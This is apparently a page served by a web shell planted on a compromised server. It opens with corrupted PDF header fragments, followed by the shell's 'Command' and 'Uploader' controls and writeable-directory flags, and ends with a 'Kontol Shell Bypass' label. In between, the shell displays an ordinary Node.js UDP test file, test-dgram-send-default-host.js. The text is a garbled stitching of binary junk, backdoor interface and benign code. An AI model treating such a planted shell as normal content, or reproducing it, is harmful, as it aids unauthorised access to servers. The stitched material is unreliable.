%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/test-dgram-send-default-host.js
'use strict';

const common = require('../common');
const assert = require('assert');
const dgram = require('dgram');

const client = dgram.createSocket('udp4');

const toSend = [Buffer.alloc(256, 'x'),
                Buffer.alloc(256, 'y'),
                Buffer.alloc(256, 'z'),
                'hello'];

const received = [];
let totalBytesSent = 0;
let totalBytesReceived = 0;
const arrayBufferViewsCount = common.getArrayBufferViews(
  Buffer.from('')
).length;

client.on('listening', common.mustCall(() => {
  const port = client.address().port;

  client.send(toSend[0], 0, toSend[0].length, port);
  client.send(toSend[1], port);
  client.send([toSend[2]], port);
  client.send(toSend[3], 0, toSend[3].length, port);

  totalBytesSent += toSend.map((buf) => buf.length)
                      .reduce((a, b) => a + b, 0);

  for (const msgBuf of common.getArrayBufferViews(toSend[0])) {
    client.send(msgBuf, 0, msgBuf.byteLength, port);
    totalBytesSent += msgBuf.byteLength;
  }
  for (const msgBuf of common.getArrayBufferViews(toSend[1])) {
    client.send(msgBuf, port);
    totalBytesSent += msgBuf.byteLength;
  }
  for (const msgBuf of common.getArrayBufferViews(toSend[2])) {
    client.send([msgBuf], port);
    totalBytesSent += msgBuf.byteLength;
  }
}));

client.on('message', common.mustCall((buf, info) => {
  received.push(buf.toString());
  totalBytesReceived += info.size;

  if (totalBytesReceived === totalBytesSent) {
    client.close();
  }
  // For every buffer in `toSend`, we send the raw Buffer,
  // as well as every TypedArray in getArrayBufferViews()
}, toSend.length + (toSend.length - 1) * arrayBufferViewsCount));

client.on('close', common.mustCall((buf, info) => {
  // The replies may arrive out of order -> sort them before checking.
  received.sort();

  const repeated = [...toSend];
  for (let i = 0; i < arrayBufferViewsCount; i++) {
    repeated.push(...toSend.slice(0, 3));
  }

  assert.strictEqual(totalBytesSent, totalBytesReceived);

  const expected = repeated.map(String).sort();
  assert.deepStrictEqual(received, expected);
}));

client.bind(0);

Kontol Shell Bypass